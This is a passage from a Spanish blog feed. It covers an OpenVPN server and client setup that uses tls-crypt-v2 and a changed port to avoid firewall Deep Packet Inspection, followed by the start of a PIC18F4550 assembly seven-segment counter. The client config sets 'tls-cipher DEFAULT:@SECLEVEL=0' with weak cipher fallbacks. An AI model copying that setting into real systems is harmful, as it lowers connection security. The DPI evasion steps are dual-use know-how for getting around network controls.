Para generar el cifrado o el cifrado de handsacke para el lado del server es
openvpn --genkey tls-crypt-v2-server handshake_encryption_server.key
Para el lado del cliente es
openvpn --tls-crypt-v2 handshake_encryption_server.key --genkey tls-crypt-v2-client handshake_encryption_client.key
&lt;/code>&lt;/pre>&lt;h2 id="creacion-de-los-cientes-para-openvpn">Creacion de los cientes para openvpn
&lt;/h2>&lt;p>para este caso nos debemos ubicar en la carpeta que copiamos de easyrsa&lt;/p>
&lt;pre tabindex="0">&lt;code>cd /etc/easy-rsa
./easyrsa build-client-full User1 nopass
./easyrsa build-client-full User2 nopass
&lt;/code>&lt;/pre>&lt;p>Ahora vamos a copiar a los usuarios a la carpeta de openvpn, cada uno en su respectiva carpeta&lt;/p>
&lt;pre tabindex="0">&lt;code>mkdir /etc/openvpn/client/{User1,User2}
cp -rp /etc/easy-rsa/pki/{ca.crt,issued/User1.crt,private/User1.key} /etc/openvpn/client/User1
cp -rp /etc/easy-rsa/pki/{ca.crt,issued/User2.crt,private/User2.key} /etc/openvpn/client/User2
&lt;/code>&lt;/pre>&lt;h2 id="editar-la-configuracion">Editar la configuracion
&lt;/h2>&lt;p>En este caso es mas facil usar la plantilla de configuracion de OpenVPN&lt;/p>
&lt;pre tabindex="0">&lt;code>cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf /etc/openvpn/server/
cd /etc/openvpn/server/
&lt;/code>&lt;/pre>&lt;p>Ubicamos los siguientes parámetros y los modificamos un ejemplo:&lt;/p>
&lt;pre tabindex="0">&lt;code>ca ca.crt
cert issued/server.crt
key private/server.key # This file should be kept secret
dh dh.pem
tls-crypt-v2 handshake_encryption_server.key
push &amp;#34;dhcp-option DNS 1.1.1.1&amp;#34;
tls-auth ta.key 0
log-append /var/log/openvpn/openvpn.log
server-ipv6 fd93:b56d:6365::/64
push &amp;#34;dhcp-option DNS6 2606:4700:4700::1111&amp;#34;
push &amp;#34;dhcp-option DNS6 2606:4700:4700::1001&amp;#34;
push &amp;#34;redirect-gateway ipv6 def1 bypass-dhcp&amp;#34;
push &amp;#34;route-ipv6 fd93:b56d:6365::/64&amp;#34;
&lt;/code>&lt;/pre>&lt;p>Ejecutamos este comando para hablilitar el server y verificamos que este funcionando&lt;/p>
&lt;pre tabindex="0">&lt;code>sudo systemctl start openvpn-server@server.service
root@i:/etc/openvpn/server# sudo service openvpn-server@server status
● openvpn-server@server.service - OpenVPN service for server
Loaded: loaded (/usr/lib/systemd/system/openvpn-server@.service; disabled; preset: enabled)
Active: active (running) since Wed 2024-10-23 00:55:49 UTC; 4min 39s ago
Docs: man:openvpn(8)
https://openvpn.net/community-resources/reference-manual-for-openvpn-2-6/
https://community.openvpn.net/openvpn/wiki/HOWTO
Main PID: 20333 (openvpn)
Status: &amp;#34;Initialization Sequence Completed&amp;#34;
Tasks: 1 (limit: 482)
Memory: 1.4M (peak: 1.7M)
CPU: 32ms
CGroup: /system.slice/system-openvpn\x2dserver.slice/openvpn-server@server.service
└─20333 /usr/sbin/openvpn --status /run/openvpn-server/status-server.log --status-version 2 --suppress-timestamps --config server.conf
Oct 23 00:55:48 Server systemd[1]: Starting openvpn-server@server.service - OpenVPN service for server...
Oct 23 00:55:49 Server systemd[1]: Started openvpn-server@server.service - OpenVPN service for server.
&lt;/code>&lt;/pre>&lt;h2 id="crear-el-ovpn">Crear el ovpn
&lt;/h2>&lt;p>Los archivospara crear el .ovpn estan en /etc/openvpn/client/User1&lt;/p>
&lt;pre tabindex="0">&lt;code>root@Server:/etc/openvpn/client/User1# ls
User1.crt User1.key ca.crt
&lt;/code>&lt;/pre>&lt;p>lo mismo con tls-crypt-v2 es el archivo que creamos como handshake_encryption_client.key&lt;/p>
&lt;pre tabindex="0">&lt;code> cat handshake_encryption_client.key
-----BEGIN OpenVPN tls-crypt-v2 client key-----
pKYdZklpqoO/XhsJnzn/RX7zTPsqLxgL+0PG3tuzqwyX27IscNXeViVwCwWAYwHU
IdvcrL6AgxgA22QQ.............
-----END OpenVPN tls-crypt-v2 client key-----
&lt;/code>&lt;/pre>&lt;h4 id="creación-del-ovpn">Creación del .ovpn
&lt;/h4>&lt;p>para crear el archivo de ovpn se debe usar el siguiente formato y solo modificar los campos de las claves, certificados y remote.&lt;/p>
&lt;pre tabindex="0">&lt;code>client
dev tun
proto udp
remote address port
resolv-retry infinite
nobind
persist-key
persist-tun
verb 4
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher &amp;#34;DEFAULT:@SECLEVEL=0&amp;#34;
auth SHA256
key-direction 1
&amp;lt;ca&amp;gt;
-----BEGIN CERTIFICATE-----
MIIDSzCCAjOgAwIBAgIUAbBDafoK+M02UQCliU5DLxMZ2hQwDQYJKoZIhvcNAQEL
BQAwFjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0EwHhcNMjQxMDIzMDAxODI1WhcNMz....
-----END CERTIFICATE-----
&amp;lt;/ca&amp;gt;
&amp;lt;cert&amp;gt;
Certificate:
Data:......
-----BEGIN CERTIFICATE-----
MIIDUzCCAjugAwIBAgIQKEeHa0xsNPRzkQFHiHubCTANBgkqhkiG9w0BAQsFADAW.........
-----END CERTIFICATE-----
&amp;lt;/cert&amp;gt;
&amp;lt;key&amp;gt;
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDe8LAxZblRxaDj
8NEaq0Mq4.......
-----END PRIVATE KEY-----
&amp;lt;/key&amp;gt;
&amp;lt;tls-crypt-v2&amp;gt;
-----BEGIN OpenVPN tls-crypt-v2 client key-----
pKYdZklpqoO/XhsJnzn/RX7zTPsqLxgL+0PG3tuzqwyX27IscNXeViVwCwWAYwHU.
Idvc.................
-----END OpenVPN tls-crypt-v2 client key-----
&amp;lt;/tls-crypt-v2&amp;gt;
&lt;/code>&lt;/pre>&lt;pre tabindex="0">&lt;code>sysctl net.ipv4.ip_forward=1
iptables -t nat -I POSTROUTING -o ens5 -j MASQUERADE
&lt;/code>&lt;/pre>&lt;h2 id="deteccion-por-deep-packet-inspection--dpi">Deteccion por Deep Packet Inspection (DPI)
&lt;/h2>&lt;p>Los firewall usan Deep Packet Inspection para reconocer ciertos protocolos&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/e3938bc2bb3eae0744a63c2b4563ee8362cdda7453ab06b4adb34b890796d6fdcbb31ad740c4acde96dc746179c5eeb695acb3b459c4e633d3d24ac5e6444d90.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>Desde ver el SNI en el Hello Client, identificar P2P, SSH, QUIC, etc.&lt;/p>
&lt;p>En este caso se detectó la conexión de openvpn y esto se debe a que el handshake tiene patrones muy reconocibles.&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/8e739d64413c7701beb26d276162ace7bb861ea1bc39eb7f22699e8d8b8270631c537c27f1d86e04b70fedbb7af084254a0a3a9c30a09f0da59d550c0e453b79.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;hr>
&lt;p>Lo primero que tenemos que hacer es cambiar el puerto porque el puerto default es de openvpn.&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/cf7fb424a3f3c78234f4af9bb1db37233d9da8724da4209b1e880faf1eae8285b3040d524144153e0e86cf99238cc24deb956a03c4a5a06a84dbbc756308dfc0.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>en la configuración usamos tls-crypt-v2 que nos permite ofuscar el handshake de openvpn.&lt;/p>
&lt;p>podemos ver la documentacion de tls-crypt-v2&lt;/p>
&lt;p>&lt;a class="link" href="https://github.com/OpenVPN/openvpn/blob/master/doc/tls-crypt-v2.txt" target="_blank" rel="noopener"
>https://github.com/OpenVPN/openvpn/blob/master/doc/tls-crypt-v2.txt&lt;/a>&lt;/p>
&lt;hr>
&lt;p>&lt;em>ls-crypt-v2 uses an encrypted cookie mechanism to introduce client-specific tls-crypt keys without introducing a lot of server-side state. The client-specific key is encrypted using a server key. The server key is the same for all servers in a group. When a client connects, it first sends the encrypted key to the server, such that the server can decrypt the key and all messages can thereafter be encrypted using the client-specific key.&lt;/em>&lt;/p>
&lt;p>&lt;em>A wrapped (encrypted and authenticated) client-specific key can also contain metadata. The metadata is wrapped together with the key, and can be used to allow servers to identify clients and/or key validity. This allows the server to abort the connection immediately after receiving the first packet, rather than performing an entire TLS handshake. Aborting the connection this early greatly improves the DoS resilience and reduces attack surface against malicious clients that have the tls-crypt or tls-auth key. This is particularly relevant for large deployments (think lost key or disgruntled employee) and VPN providers (clients are not trusted).&lt;/em>&lt;/p>
&lt;hr>
&lt;p>Una vez que usamos tls-crypt-v2 ya no es detecatdo por el Deep Packet Inspection
&lt;img src="https://devcodenote.gitlab.io/images/6a447095ab96f0e0c7ba6014a0f72ccdc12871632c5f09e0ad9d6c2fadf647f5f7f56183a3f0ce5fcf96085e6177f072f9d73787e24e1219882383df5d4f4838.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/cd742e78ab8f75f43e5cc75f28c473ae00eaeb5c5659b83de68f1f6b7ac9573068f5681d2863ef67c0ddc4657703b1635d3aba24b7c6937bd9ce2e7434d2c61c.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/7cd41183b6f6c952ad63be22d0d948c53fdf0a4daa4b5857c1822f669cbbe3a3f129fd03b000a3fc5e0efd203c53b19da3d9a0a9162aad00846fa0f7340cb5f4.png"
loading="lazy"
alt="Name"
>&lt;/p></description></item><item><title>contador ascendente y descendente con Display de 7 Segmentos para PIC18F4550 en Ensamblador</title><link>https://devcodenote.gitlab.io/posts/contador-ascendente-y-descendente-con-display-de-7-segmentos-para-pic18f4550-en-ensamblador/</link><pubDate>Sat, 07 Jun 2025 10:30:00 -0600</pubDate><guid>https://devcodenote.gitlab.io/posts/contador-ascendente-y-descendente-con-display-de-7-segmentos-para-pic18f4550-en-ensamblador/</guid><description>&lt;p>En este proyecto se va a desarrollar un contador ascendente y descendente utilizando el microcontrolador PIC18F4550 en ensamblador. usando un Display de 7 Segmentos para mostrar los valores del contador en orden ascendente y descendente.&lt;/p>
&lt;p>algunos de los pasos se expican en el contador automatico que se encuentra en&lt;/p>
&lt;p>&lt;a class="link" href="https://devnotescode.com/Pages?id=677437501f54d06c6ecb8012" target="_blank" rel="noopener"
>https://devnotescode.com/Pages?id=677437501f54d06c6ecb8012&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nasm" data-lang="nasm">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">LIST&lt;/span> P &lt;span style="color:#960050;background-color:#1e0010">=&lt;/span> &lt;span style="color:#ae81ff">18&lt;/span>F4550
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">INCLUDE&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span>P18F4550.INC&lt;span style="color:#f92672">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">;contador de cambio automatico &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">;************************************************************&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">CONFIG&lt;/span> FOSC &lt;span style="color:#960050;background-color:#1e0010">=&lt;/span> HS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">CONFIG&lt;/span> PWRT &lt;span style="color:#960050;background-color:#1e0010">=&lt;/span> ON
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">CONFIG&lt;/span> BOR &lt;span style="color:#960050;background-color:#1e0010">=&lt;/span> OFF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">CONFIG&lt;/span> WDT &lt;span style="color:#960050;background-color:#1e0010">=&lt;/span> OFF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">CONFIG&lt;/span> MCLRE &lt;span style="color:#960050;background-color:#1e0010">=&lt;/span> ON
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">CONFIG&lt;/span> PBADEN &lt;span style="color:#960050;background-color:#1e0010">=&lt;/span> OFF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">CONFIG&lt;/span> LVP &lt;span style="color:#960050;background-color:#1e0010">=&lt;/span> OFF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">CONFIG&lt;/span> DEBUG &lt;span style="color:#960050;background-color:#1e0010">=&lt;/span> OFF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">CONFIG&lt;/span> XINST &lt;span style="color:#960050;background-color:#1e0010">=&lt;/span> OFF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">; CODE ******************************************************&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ORG&lt;/span> &lt;span style="color:#ae81ff">0x00&lt;/span> &lt;span style="color:#75715e">;Iniciar el programa en el registro 0x00&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span> &lt;span style="color:#75715e">; &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> TRISC
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0x00&lt;/span> &lt;span style="color:#75715e">; &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> TRISB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">; variables&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">Counter1&lt;/span>&lt;span style="color:#66d9ef"> equ&lt;/span> &lt;span style="color:#ae81ff">0x20&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">Counter2&lt;/span>&lt;span style="color:#66d9ef"> equ&lt;/span> &lt;span style="color:#ae81ff">0x21&lt;/span> &lt;span style="color:#75715e">; &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">sa&lt;/span>&lt;span style="color:#66d9ef"> equ&lt;/span> &lt;span style="color:#ae81ff">0x22&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0x00&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> sa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>main:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">;--------------------------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> revisarintoverflow
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> revisiondecondicion
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">;--------------------------------------------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">;incf sa, f aumenta&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">;decf sa, f decrementa &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> controldebotones
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">call&lt;/span> DelayLoop2 &lt;span style="color:#75715e">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">goto&lt;/span> main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>uno:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span> &lt;span style="color:#75715e">; Establece todos los pines del puerto B en alto&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dos:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span> &lt;span style="color:#75715e">; Establece todos los pines del puerto B en alto&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tres:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span> &lt;span style="color:#75715e">; Establece todos los pines del puerto B en alto&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cuatro:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span> &lt;span style="color:#75715e">; Establece todos los pines del puerto B en alto&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cinco:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span> &lt;span style="color:#75715e">; Establece todos los pines del puerto B en alto&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">7&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>seis:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span> &lt;span style="color:#75715e">; Establece todos los pines del puerto B en alto&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">7&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>siete:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span> &lt;span style="color:#75715e">; Establece todos los pines del puerto B en alto&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ocho:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span> &lt;span style="color:#75715e">; Establece todos los pines del puerto B en alto&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nueve:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movlw&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span> &lt;span style="color:#75715e">; Establece todos los pines del puerto B en alto&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">movwf&lt;/span> LATB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bcf&lt;/span> LATB, &lt;span style="color:#ae81ff">1&lt;/span>
